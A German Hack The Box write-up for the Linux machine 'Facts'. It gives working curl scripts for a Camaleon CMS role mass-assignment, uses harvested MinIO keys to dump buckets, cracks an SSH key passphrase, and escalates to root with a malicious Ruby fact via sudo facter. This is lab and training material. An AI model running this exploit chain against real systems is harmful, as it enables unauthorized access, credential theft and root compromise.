← Zurück zu Machines

HTB · published

Facts

Hack The Box Season-10 Writeup zu Facts. Veröffentlichung folgt, sobald die Maschine retired ist.

HTBWriteupCamaleon CMSMinIOFacterseason-10MachineLinux

Metadaten

  • Name: Facts
  • IP Address: 10.129.64.137
  • Plattform: Linux
  • Kategorie: Web / CMS / MinIO / Privilege Escalation
  • Schwierigkeit: Easy
  • Ziel(e): User, Root
  • Kurzbeschreibung: Facts ist eine Linux-Maschine, bei der der erste Einstieg über eine Camaleon-CMS-Instanz läuft. Nach der Registrierung eines normalen Users lässt sich über eine unsaubere Profil-Update-Funktion die eigene Rolle auf admin setzen. Im Admin-Panel finden sich MinIO/S3-Zugangsdaten, mit denen interne Buckets ausgelesen werden können. Dort liegt ein verschlüsselter SSH-Key, dessen Passphrase gecrackt wird. Der Root-Zugriff gelingt anschließend über eine sudo-Regel für facter.

Reconnaissance / Enumeration

Der initiale Scan zeigte drei offene Ports:

PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
54321/tcp open  unknown

Der Service-Scan machte die Richtung klarer:

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 9.9p1 Ubuntu 3ubuntu3.2
80/tcp    open  http    nginx 1.26.3 (Ubuntu)
54321/tcp open  http    Golang net/http server

Port 80 leitete auf facts.htb um:

curl -i http://10.129.64.137/
curl -i http://facts.htb/
curl -sS -D- http://facts.htb/ -o /dev/null

Die Header wirkten stark nach Ruby on Rails:

HTTP/1.1 200 OK
Server: nginx/1.26.3 (Ubuntu)
Content-Type: text/html; charset=utf-8
set-cookie: _factsapp_session=...
x-request-id: ...
x-runtime: ...

whatweb bestätigte die Web-App und zeigte zusätzlich die Kontaktadresse:

whatweb http://facts.htb
http://facts.htb [200 OK] Cookies[_factsapp_session], Email[contact@facts.htb],
HTML5, HTTPServer[Ubuntu Linux][nginx/1.26.3 (Ubuntu)], Title[facts]

Eine Verzeichnis-Enumeration brachte einige interessante Pfade:

ffuf -u http://facts.htb/FUZZ \
  -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-directories.txt \
  -fc 404 -fs 0
search                  [Status: 200]
en                      [Status: 200]
page                    [Status: 200]
rss                     [Status: 200]
sitemap                 [Status: 200]
captcha                 [Status: 200]
post                    [Status: 200]
up                      [Status: 200]
robots                  [Status: 200]

Der Admin-Bereich war über /admin/login erreichbar:

for p in /camaleon_cms /camaleon_cms/admin /camaleon_cms/login /admin /admin/login /users/sign_in /login; do
  echo "== $p =="
  curl -sS -o /dev/null -w "%{http_code} %{redirect_url}\n" "http://facts.htb$p"
done
== /admin ==
302 http://facts.htb/admin/login
== /admin/login ==
200

Damit war die Anwendung als Camaleon CMS auf Rails identifiziert.

Enumeration von Port 54321

Port 54321 sprach HTTP und identifizierte sich über die Antworten als MinIO:

curl -i http://10.129.64.137:54321/

Aus dem Nmap-Fingerprint:

Server: MinIO
Content-Type: application/xml
<Error><Code>InvalidRequest</Code><Message>Invalid Request</Message></Error>

Ohne Zugangsdaten war hier zunächst nicht viel zu holen, aber der Service blieb wichtig für später.

Web Exploitation

Zuerst wurde ein normaler Account angelegt und anschließend per curl eingeloggt.

UA='Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0'
USER='obob'
PASS='obob1'

rm -f jar.txt

TOKEN=$(curl -sS -A "$UA" -c jar.txt http://facts.htb/admin/login \
  | grep -oP 'name="authenticity_token" value="\K[^"]+')

curl -sS -A "$UA" -b jar.txt -c jar.txt -i \
  --data-urlencode "authenticity_token=$TOKEN" \
  --data-urlencode "user[username]=$USER" \
  --data-urlencode "user[password]=$PASS" \
  http://facts.htb/admin/login | sed -n '1,40p'

Der Login war erfolgreich und leitete ins Dashboard weiter:

HTTP/1.1 302 Found
location: http://facts.htb/admin/dashboard

Der Auth-Check bestätigte die Session:

curl -sS -A "$UA" -b jar.txt -o /dev/null -w "%{http_code}\n" \
  http://facts.htb/admin/dashboard
200

Auf der Profilseite ließ sich die eigene User-ID auslesen:

HTML=$(curl -sS -A "$UA" -b jar.txt -c jar.txt http://facts.htb/admin/profile/edit)

LINE=$(echo "$HTML" | grep -oP '<input[^>]+id="user_id"[^>]*>')
ID=$(echo "$LINE" | grep -oP 'value="\K[0-9]+')

echo "ID=$ID"
ID=5

Beim Auslesen der Formularfelder fiel user[role] auf:

curl -sS -A "$UA" -b jar.txt http://facts.htb/admin/profile/edit \
  | grep -oE 'name="[^"]+"' \
  | sed 's/name="//;s/"$//' \
  | sort -u
authenticity_token
_method
password[password]
password[password_confirmation]
user[email]
user[first_name]
user[id]
user[last_name]
user[role]
user[username]

Der entscheidende Punkt war die AJAX-Update-Route für das Profil. Über den Password-Update-Endpoint konnte zusätzlich ein Rollenfeld übergeben werden:

UA='Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0'
NEWPASS='Pwned123!!'

HTML=$(curl -sS -A "$UA" -b jar.txt http://facts.htb/admin/profile/edit | tr '\n' ' ')
PTOKEN=$(echo "$HTML" | grep -oP 'id="profie-form-ajax-password".*?name="authenticity_token" value="\K[^"]+')
PMETHOD=$(echo "$HTML" | grep -oP 'id="profie-form-ajax-password".*?name="_method" value="\K[^"]+')

curl -sS -A "$UA" -b jar.txt -c jar.txt -i \
  -H "X-Requested-With: XMLHttpRequest" \
  -H "Origin: http://facts.htb" \
  -H "Referer: http://facts.htb/admin/profile/edit" \
  --data-urlencode "_method=$PMETHOD" \
  --data-urlencode "authenticity_token=$PTOKEN" \
  --data-urlencode "password[role]=admin" \
  --data-urlencode "password[password]=$NEWPASS" \
  --data-urlencode "password[password_confirmation]=$NEWPASS" \
  "http://facts.htb/admin/users/5/updated_ajax" | sed -n '1,80p'

Das Ergebnis war ein 200 OK. Danach war der eigene Account Admin.

Zur Kontrolle wurden die Admin-Routen enumeriert:

for p in /admin/dashboard /admin/users /admin/media /admin/themes /admin/plugins /admin/settings /admin/posts /admin/comments /admin/widgets /admin/appearance; do
  code=$(curl -sS -A "$UA" -b jar.txt -o /dev/null -w "%{http_code}" "http://facts.htb$p")
  echo "$code $p"
done
200 /admin/dashboard
200 /admin/users
200 /admin/media
200 /admin/plugins
200 /admin/comments

MinIO / S3 Enumeration

Im Admin-Panel fanden sich AWS-/S3-Zugangsdaten für den internen MinIO-Service:

AWS Access Key ID:     AKIAE82896FD8F6EB7DE
AWS Secret Access Key: BI4CUaMFqpxJYGJMa/HRmBdGATgOHuRZsbexz+nT

Nach dem Eintragen der Zugangsdaten konnte MinIO über den lokalen Endpoint angesprochen werden:

aws configure
aws --endpoint-url http://facts.htb:54321 s3 ls
2025-09-11 14:06:52 internal
2025-09-11 14:06:52 randomfacts

Beide Buckets wurden lokal synchronisiert:

aws --endpoint-url http://facts.htb:54321 s3 sync s3://randomfacts ./randomfacts_dump
aws --endpoint-url http://facts.htb:54321 s3 sync s3://internal ./internal_dump

Im internal-Bucket lag eine .ssh-Struktur mit einem verschlüsselten privaten SSH-Key.

Foothold

Der private Key wurde mit ssh2john in ein John-kompatibles Format gebracht:

cd internal_dump/.ssh
ssh2john id_ed25519 > id_ed25519.john
john --wordlist=/usr/share/wordlists/rockyou.txt --rules --fork=4 id_ed25519.john

John fand die Passphrase:

dragonballz      (id_ed25519)

Mit dem Key war SSH-Zugriff als trivia möglich:

ssh -i id_ed25519 trivia@facts.htb
Welcome to Ubuntu 25.04 (GNU/Linux 6.14.0-37-generic x86_64)
trivia@facts:~$

In /home gab es zwei Benutzer:

ls /home
trivia  william

Die User-Flag lag im Home-Verzeichnis von william:

cat /home/william/user.txt

Privilege Escalation

Die sudo-Rechte von trivia waren der direkte Weg zu Root:

sudo -l
User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter

facter lädt Custom Facts aus Ruby-Dateien. Da facter per sudo als Root ausgeführt werden durfte, konnte über ein eigenes Ruby-Fact eine Root-Shell gestartet werden:

cat << 'EOF' > /tmp/pwn.rb
Facter.add(:pwn) do
  setcode do
    exec("/bin/bash")
  end
end
EOF

Anschließend wurde facter mit dem eigenen Custom-Directory gestartet:

sudo /usr/bin/facter --custom-dir /tmp

Das Ergebnis:

root@facts:/tmp# whoami
root

Root-Flag:

cat /root/root.txt
923b79[REDACTED-ROOT-FLAG]fe3f1371

Post-Exploitation

  • User: SSH-Zugriff als trivia über verschlüsselten Key aus MinIO.
  • User-Flag: Zugriff auf /home/william/user.txt.
  • Root: sudo /usr/bin/facter --custom-dir /tmp mit eigener Ruby-Datei.
  • Root-Flag: /root/root.txt.

Lessons Learned

  • Mass Assignment prüfen: Wenn Profil- oder AJAX-Update-Routen flexible Parameter akzeptieren, lohnt sich ein genauer Blick auf versteckte Felder wie role.
  • Admin-Panels gründlich absuchen: Der wichtigste Pivot kam über Credentials, die erst nach der Rechteausweitung sichtbar wurden.
  • MinIO wie S3 behandeln: Mit passenden Zugangsdaten funktionieren die normalen aws s3-Workflows auch gegen MinIO-Endpoints.
  • Sudo-Regeln nicht unterschätzen: facter wirkt harmlos, kann aber über Custom Ruby Facts Code ausführen.

Notizen

Ein Rabbit Hole war das Testen verschiedener Profil-Update-Parameter. user[role]=admin war naheliegend, aber der funktionierende Parameter lag im Password-Form-Kontext:

--data-urlencode "password[role]=admin"

Das war der entscheidende Aha-Moment im Web-Teil.